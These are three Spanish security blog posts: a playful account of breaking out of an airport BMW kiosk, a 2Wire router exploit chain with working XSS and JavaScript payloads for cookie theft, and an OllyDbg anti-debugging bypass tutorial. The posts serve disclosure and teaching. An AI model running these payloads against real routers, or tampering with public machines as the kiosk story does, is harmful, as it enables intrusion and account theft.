BMW ¿Te gusta conducir?

La historia que cuento hoy tuvo lugar el 24 de Marzo en la Terminal 4 del aeropuerto de Barajas en Madrid. Ese día me disponía a emprender un largo y pesado viaje a Bogotá, a lo que resultó en una enriquecedora experiencia: el ACK Security Conference. Sin embargo, cuando me dirigía a buscar el tren que me llevara a la Terminal 4 Satélite, una preciosidad me frenó en seco. No, no era ninguna chica,… sino la máquina que véis expuesta en la siguiente foto.

Después de ver bien el coche, acompañado por un montón de gente a mi alrededor, me fijo que a mi espalda estaba el típico expositor que suele mostrar una película con la campaña publicitaria del coche. Como tenía tiempo, quise echar un vistazo para ver esta joya en movimiento, aunque no sea en vivo. Mi sorpresa fue aún mayor cuando veo la pantalla:

Lo primero que pensé fue: Mira que bien, un regalito para los chicos de Flu Project en modo de "Pantalla pública". Sin embargo después me vino a la cabeza, ver qué recursos tenía disponibles para hacer alguna otra "maldad" :)

Se nota que la crisis ha llegado hasta el departamento de márketing de BMW, que no tiene fondos para pagar sus copias originales de Windows… o al menos no se han preocupado de hacer la correspondiente validación.

La gente de BMW dejó a gusto del usuario que "hubiese o no película" para ver.

Como tenía gente por todas partes y vaya usted a saber cuántas cámaras me apuntaban, decidí verla un rato para evitar las sospechas:

Bueno, veamos qué más se puede hacer con una pantalla táctil sin teclado… un ipad de taitantas pulgadas. Menos mal que estos chicos de Windows pensaron en lo del teclado virtual desde hace tiempo.

Pensé que la foto de David Hasselhoff en una pantalla así de grande, tenía que verse cuanto menos divertida. Veamos si hay acceso a Google de momento.

 Vaya,… la máquina no tiene conexión a Internet de momento.

¿Tendremos la suerte de estar conectados a alguna red del propio aeropuerto? Buscamos una shell y….

Mira que bien, con usuario BMW y todo… Busquemos red:

Vaya,… parece que estamos en un ordenador aislado, sin red local, aunque,… oh wait! "Vodafone Mobile Broadband"??? Eso quiere decir que tiene una conexión USB 3G en algún sitio. Normal, porque de alguna forma el expositor, que ahora mismo no está aquí, tendrá que leerse el periódico y actualizar su Facebook y Twitter no? Eso quiere decir que en alguna parte, tiene que haber un iconito que…

Tacháaaan!

Parece que estamos a un click…

Y sin embargo,…

... mi gozo en un pozo! "RAS 631 Error"? No me digas que justo hoy va y se cae el enlace 3G de Vodafone. Visto lo visto con la licencia del Windows XP, a lo mejor les cortaron el acceso por falta de pago :)

Quizá por eso no había nadie en el expositor y dejaron el coche solo. Quizá los comerciales de BMW se fueron a conectar a Internet en otro sitio.

Pensé en hacer "la bromita" de un "Imprimir pantalla", esconder todos los iconos y la barra de tareas, y poner el pantallazo como fondo de pantalla… pero ya me dio palo que por tener que dar explicaciones en la comisaría del aeropuerto por estar jugueteando con el ordenador, perdiese el vuelo a Colombia.

Al menos os dejo con otro clásico… la calculadora de Windows!

Robo de cookies por router vulnerable (caso 2Wire)

Desde hace tiempo es conocido que los routers caseros están plagados de vulnerabilidades. En este caso mostramos como una serie de vulnerabilidades en routers 2Wire, al ser explotadas secuencialmente, permiten obtener remotamente los valores de las cookies de casi cualquier dominio.

El proceso de ataque sería el siguiente:

1. La víctima visita una página maliciosa con un módem vulnerable,

2. La página realiza pharming al router redirigiendo subdominios al servidor del atacante,

3. La página obliga a la víctima a realizar peticiones a los subdominios,

4. El atacante recibe en su servidor las cookies de los dominios.

Utilizamos subdominios inexistentes por dos razones. Al usar un subdominio inexistente el navegador no tiene la dirección IP en el cache. Y la segunda razon es que en caso de que exista algún error, la comunicación con el dominio original no se pierde.

Los routers 2Wire han tenido múltiples vulnerabilidades en los últimos años. Para realizar este ataque nos enfocamos en las siguientes:

1. Cross site scripting

2. Revelación de configuración (“url mágico”)

3. Reinicialización de contraseña con la clave WEP default

Algunos routers 2Wire poseen un cross site scripting reflejado en la variable THISPAGE de su interfaz de configuración web:

http://192.168.1.254/xslt?PAGE=A05&THISPAGE=</script><script>with(document)body.appendChild(createElement("script")).setAttribute("src","cfgpwn.js");</script><script>

Explotando el cross site scripting podemos estar en la misma zona del router y obtener acceso a sus propiedades, como la información de las páginas del router.

Inyectamos un script que nos permite leer la información de la configuración debido a la vulnerabilidad de revelación de configuración. Leemos el archivo y obtenemos la WEP default:

cfgpwn.js:

try {

    xmlhttp=new ActiveXObject("MSXML2.XMLHTTP");

} catch(e) {

    xmlhttp = new XMLHttpRequest()

}

xmlhttp.open("GET","/xslt?page=mgmt_data",false);

xmlhttp.send(null);

var info = xmlhttp.responseText;

var pass = "temporal";

var wep = info.substr(info.indexOf("encrypt_key\"\>0x")+15,10);

Utilizando la clave WEP default podemos definir una nueva contraseña de administración web. De la siguiente manera usamos la WEP para cambiar el password:

xmlhttp.open("POST","/xslt");

xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");

xmlhttp.send("PAGE=A04_POST&THISPAGE=A04&NEXTPAGE=A04_POST&SYSKEY="+wep+"&PASSWORD="+pass+"&PASSWORD_CONF="+pass+"&HINT="+pass);

Ya que hemos definido un password, podemos obtener la sesión de administrador para obtener privilegios en el router. Para esto realizamos la siguiente petición:

xmlhttp.open("GET","/xslt?PAGE=A02_POST&THISPAGE=&NEXTPAGE=J01&CMSKICK=&PAGE=A02&NEXTPAGE=J01&SHOWHINT=1&PASSWORD="+pass, false);

xmlhttp.send(null);

Como administradores podemos agregar dominios a la lista de hosts. Agregamos subdominios de los dominios de los cuales queremos las cookies:

for (var i=0; i<dominios.length; i++) {

    dns=dominios[i];

xmlhttp.open("GET","/xslt?PAGE=J38_SET&THISPAGE=J38&NEXTPAGE=J38_SET&NAME="+dns+"&ADDR="+ip,false);

    xmlhttp.send(null);

}

Obligamos a la víctima a realizar peticiones a los subdominios para que envíe las cookies:

for (var i=0; i<dominios.length; i++) {

    dns=dominios[i];

    document.write('<img src=http://'+dns+'>');

}

Todo esto se podría automatizar y realizar de forma oculta para la víctima. En el siguiente video se muestra la explotación de una forma visible:

Hay que entender que en este caso 2Wire ha publicado parches para todas estas vulnerabilidades hace tiempo, pero en muchas ocasiones no depende del usuario o fabricante el actualizar, depende del proveedor de servicio.

Contribución cortesía de Pedro “hkm” Joaquín de Websec México

Reversing malware tales: IsDebuggerPresent ?

Llevo tiempo queriendo iniciar una saga de posts sobre análisis de malware donde tratar los distintos tipos de análisis, ya sean por comportamiento (sandbox, herramientas tipo processmonitor, etc) o vía debugger.

Así mismo me fijé como objetivo que fuese sobre muestras 'in the wild'.

Debo agradecer a Javi, del GDT,  su amabilidad a la hora de proveerme de muestras que ellos tienen disponibles por su ímproba labor en la investigación de delitos informáticos.

Hoy voy a hablar de algo que encontré a la hora de analizar una de las muestras que me facilitaron. Es muy típico de un programa que está orientado a 'cosas oscuras' que incorpore algún tipo de técnica para protegerse de miradas excesivamente curiosas. Muchos utilizan 'packers' para ofuscar el código y otros, como del que vamos a hablar hoy, sencillas técnicas para detectar la presencia de debuggers.

En concreto esta muestra hace uso de la función IsDebuggerPresent() para detectar si está siendo ejecutado a través de un debugger.

¿Cómo detectar que se está haciendo uso de de esta función? El primer paso es abrir la muestra con Ollydbg y ver las llamadas a la API que emplea el malware:

Olly nos muestra las diferentes funciones que emplea este espécimen de Malware y de entre toda la lista, nos encontramos con:

Con lo que tenemos la certeza de que este espécimen, en algún punto, va a intentar averiguar si está siendo analizado por un debugger. Evidentemente esto es bastante sospechoso.

Vamos a poner un breakpoint para tener el control justo cuando el malware vaya a hacer uso de dicha función.

Y pulsamos F9 para lanzar el programa, que se detendrá justo cuando se vaya a hacer uso de la función

Si agrandamos la imagen (click en ella) podemos ver que Olly nos indica que el programa está pausado justo en la función IsDebuggerPresent().

Esta función pertenece a otro módulo (kernel32) por lo que deberemos retornar al programa principal para ver que sucede justo después de esa llamada.

Para ello vamos al menú 'Debug' y seleccionamos 'Execute till user code' o pulsamos ALT+F9

Lo que nos devolverá al programa principal justo después de la llamada a IsDebuggerPresent()

Vemos que, justo después, lo que hace el programa es verificar si EAX vale 0 (TEST EAX, EAX), en EAX está almacenado el resultado de la función IsDebuggerPresent() y como en este caso es cierto, el programa se está ejecutando en un debugger, el valor de EAX es 1

Podemos leer en la descripción de IsDebuggerPresent() lo siguiente:
'If the current process is running in the context of a debugger, the return value is nonzero.'

También vemos que, como el resultado de TEST EAX, EAX no es 0, el flag Z no se activa y permanece a 0

Si pulsamos F7, iremos a la siguiente línea de ensamblador que es un salto condicional JNZ 

Como podemos ver si agrandamos la imagen, olly en la parte inferior nos indica que 'Jump is taken', es decir que el va a saltar porque JNZ significa 'Jump if NOT Z' y como el resultado de TEST EAX, EAX no ha activado el flag Z, hará ese salto condicional que nos lleva a una rutina de exit. Obviamente esto no es lo que queremos ya que nos perderemos la parte divertida donde empiezan los fuegos artificiales.

¿Como resolvemos esta situación? Muy fácil, tan solo tenemos que, en ese punto, hacer doble click sobre el flag Z y cambiar su valor a 1, de esa forma el Jump no se hará y el programa seguirá su curso esperado.

Una vez cambiado el flag Z, podemos ver que Olly nos dice que no se hará el salto.

Como hemos visto saltarse esta 'protección' es extremadamente fácil, en este punto podríamos cambiar ese JNZ por NOPs y salvar el fichero con las modificaciones para que la protección quede desactivada para siempre.

No obstante, hay un método más fácil. Existe un plugin para Olly llamado 'Hide Debugger' que directamente lidia con este tipo de 'protecciones' para evitar que el debugger sea detectado. No solo se ocupa de IsDebuggerPresent() sino de otras técnicas que se emplean habitualmente.